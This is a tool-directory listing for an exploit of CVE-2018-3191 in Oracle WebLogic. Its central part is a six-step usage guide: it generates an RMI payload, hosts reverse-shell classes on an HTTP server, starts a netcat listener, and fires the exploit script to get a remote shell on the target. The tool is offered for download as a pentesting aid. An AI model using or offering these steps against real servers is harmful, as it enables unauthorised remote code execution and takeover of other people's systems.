Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-3191-Rce-Exploit — Exploit for CVE-2018-3191 targeting Oracle WebLogic servers. Generates a malicious payload via RMI, deploys reverse shell classes on an HTTP server, and triggers remote code execution to obtain a reverse shell. | Kitploit
Tools/GitHubGitHub/mackleadmire/cve-2018-3191-rce-exploit
Payload GenerationExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubmackleadmire/cve-2018-3191-rce-exploit

CVE-2018-3191-Rce-Exploit

Exploit for CVE-2018-3191 targeting Oracle WebLogic servers. Generates a malicious payload via RMI, deploys reverse shell classes on an HTTP server, and triggers remote code execution to obtain a reverse shell.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
17327 years agoNot yet reviewed
Share

CVE-2018-3191-Rce-Exploit

Author: Break

Step 1: java -jar GenPayload.java output SJpayload.bin, Address is RMI Server address

Step 2:java -jar RMISERVER.jar httpaddress, RMI server listening on port 1099 and load remote Reverse classes on web server

Step 3:put two files(reverse shell) LoadObject.class and StreamConnection.class on http server and can be visited by url

Step 4: nc -llp 2222

Step 5: python weblogic.py weblogicAddress 7001 SJpayload

Step 6: wait for a reverse shell, good luck

Download Tool